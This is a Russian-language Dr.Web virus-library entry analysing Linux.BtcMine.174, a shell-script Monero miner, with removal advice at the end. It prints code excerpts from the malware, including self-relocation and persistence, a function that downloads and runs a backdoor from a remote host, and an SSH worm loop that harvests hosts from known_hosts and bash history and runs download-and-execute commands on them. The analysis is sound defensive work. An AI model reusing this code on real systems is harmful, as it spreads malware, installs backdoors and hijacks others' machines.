Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Linux.BtcMine.174

Добавлен в вирусную базу Dr.Web: 2018-11-14

Описание добавлено:

  • 9ae9233c79390495e607059870671c9936c413c5
  • b59fc07afc9f159562f71b3a21c38b1d471acc2f

Многокомпонентная вредоносная программа, способная заражать устройства под управлением ОС Linux и предназначенная для добычи криптовалюты Monero (XMR). Реализована в виде сценария на языке командной оболочки sh, содержит более 1000 строк кода.

При запуске выполняется проверка доступности сервера, с которого троянец впоследствии будет загружать дополнительные модули:

function GetDownloadPath()
{
    paths=("/usr/bin" "/bin" "/lib" "/boot" "/tmp" "/home/`whoami`" "`pwd`")
    for path in ${paths[@]}
    do
        if [ -x $path ] && [ -r $path ] && [ -w $path ]
        then
            DownloadPath=$path
            break
        fi
    done
}

Если сценарий не был запущен с параметром "/sbin/init", то выполняются следующие действия:

  1. сценарий перемещается в раннее подобранную папку, для которой имеется разрешение на запись (rwx), с именем "diskmanagerd" (имя указывается в переменной $WatchDogName);
  2. сценарий пытается повторно запуститься с использованием утилиты nohup или просто в фоновом режиме, если утилита nohup не установлена (в этом случае он самостоятельно устанавливает пакет coreutils).
WatchDogName="diskmanagerd"
arg=$1
#...
function Nohup()
{
    if [ "$arg" != "/sbin/init" ]
    then
        rm -f $DownloadPath$WatchDogName >/dev/null 2>&1
        cp -rf $0 $DownloadPath$WatchDogName
        chmod 755 $DownloadPath$WatchDogName >/dev/null 2>&1
        rm -f $0
        nohup --help >/dev/null 2>&1
        if [ $? -eq 0 ]
        then
            nohup $DownloadPath$WatchDogName "/sbin/init"> $DownloadPath.templog 2>&1 &
            exit
        else
            if [ `id -u` -eq "0" ]
            then
                yum install coreutils -y  >/dev/null 2>&1
                apt-get install coreutils -y  >/dev/null 2>&1
                sleep 30
            fi
            (exec $DownloadPath$WatchDogName "/sbin/init" &> /dev/null &)
            exit
        fi
    fi
}

Затем троянец скачивает и запускает одну из версий троянца Linux.BackDoor.Gates.9. Бэкдоры этого семейства позволяют выполнять поступающие от злоумышленников команды и проводить DDoS-атаки:

function oh_cause_she_is_dead()
{
    md5sum --help >/dev/null 2>&1
    if [ "$?" = "0" ]
    then
        if [ `id -u` -eq "0" ]
        then
            DownloadFile "md5" "$mdfive_root" "http://$remote_host/syn" "$DownloadPath$DownloadFileName"
        else
            DownloadFile "md5" "$mdfive_user" "http://$remote_host/udp" "$DownloadPath$DownloadFileName"
        fi
    else
        if [ `id -u` -eq "0" ]
        then
            DownloadFile "size" "$DownloadFileSize" "http://$remote_host/syn" "$DownloadPath$DownloadFileName"
        else
            DownloadFile "size" "$DownloadFileSize" "http://$remote_host/udp" "$DownloadPath$DownloadFileName"
        fi
    fi
    chmod 755 "$DownloadPath$DownloadFileName"
    $DownloadPath$DownloadFileName
}

После этого вредоносная программа ищет конкурирующие майнеры и при обнаружении удаляет их. Для этого она сканирует /proc/${pid}/exe и /proc/${pid}/cmdline на наличие характерных строк ("cryptonight", "stratum+tcp" и т. д.).

Если Linux.BtcMine.174 не был запущен от имени суперпользователя (root), он загружает с принадлежащего злоумышленникам сервера и запускает другой sh-сценарий (SHA1: 9ae9233c79390495e607059870671c9936c413c5), который в свою очередь скачивает и выполняет набор эксплойтов для повышения привилегий в системе Linux.Exploit.CVE-2016-5195 (DirtyCow) и Linux.Exploit.CVE-2013-2094.

На следующем этапе вредоносный сценарий проверяет, запущен ли он с правами root. Если да, он останавливает сервисы, удаляет их файлы через пакетные менеджеры и очищает директории. В скрипте перечислены следующие имена сервисов: safedog, aegis, yunsuo, clamd, avast, avgd, cmdavd, cmdmgd, drweb-configd, drweb-spider-kmod, esets, xmirrord.

Затем троянец прописывается в автозагрузку с использованием /etc/rc.local, /etc/rc.d/..., /etc/cron.hourly. После этого он загружает и запускает руткит, также выполненный в виде сценария sh. Среди функций руткит-модуля можно перечислить кражу вводимых пользователем паролей команды su, сокрытие файлов в файловой системе, сетевых соединений и запускаемых процессов.

После этого троянец передает управление функции, собирающей из разных источников информацию обо всех сетевых узлах, к которым текущий пользователь ранее подключался по протоколу SSH. Троянец пытается соединиться с этими узами и заразить их:

cat /root/.ssh/known_hosts|grep -v ,|awk '{print $1}' > /tmp/.h
cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h
cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h
cat /root/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h
cat /home/*/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h
cat /home/*/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h
cat /home/*/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h
cat /root/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h
cat /root/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h
cat /tmp/.h|grep -v 127.0.0.1|grep -v localhost|sort -u > /tmp/.hh
cat /tmp/.hh > /tmp/.h
rm -rf /tmp/.hh
for i in `cat /tmp/.h`
do
    (
        exec ssh -oStrictHostKeyChecking=no -oCheckHostIP=no `whoami`@$i "wget -c -O /tmp/ ;curl -o /tmp/ ;python -c \"import urllib;urllib.urlretrieve(\\\"\\\", \\\"/tmp/\\\")\";php -r '\$f=fopen(\"'/tmp/'\",\"w\");fwrite(\$f, implode(\"\",@file(\"''\")));fclose(\$f);';ruby -e \"require 'open-uri';File.open('/tmp/', 'w') {|f| f.write(open('') {|f1| f1.read})}\";perl -MNet::FTP -e \"\\\$ftp = Net::FTP->new(\\\"\\\");\\\$ftp->login('', '');\\\$ftp->binary;\\\$ftp->get(\\\"\\\",\\\"/tmp/\\\")\";chmod 755 /tmp/;(exec /tmp/ &> /dev/null &)" &> /dev/null &
    )
done

Далее троянец запускает и поддерживает в работоспособном состоянии майнер для добычи криптовалюты Monero (XMR). В бесконечном цикле этот вредоносный сценарий проверяет наличие обновлений на удаленном сервере, при обнаружении которых скачивает и устанавливает их. Проверка осуществляется следующим образом:

  1. номер текущей версии сценария сохраняется в переменной $shell_ver;
  2. скачивается файл http://${remote_host}:${remote_port}/shell_ver.txt;
  3. полученная версия сверяется с текущей: если версии совпадают, ничего не происходит, если не совпадают, троянец выкачивает новую версию сценария с управляющего сервера.

Новость о троянце

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру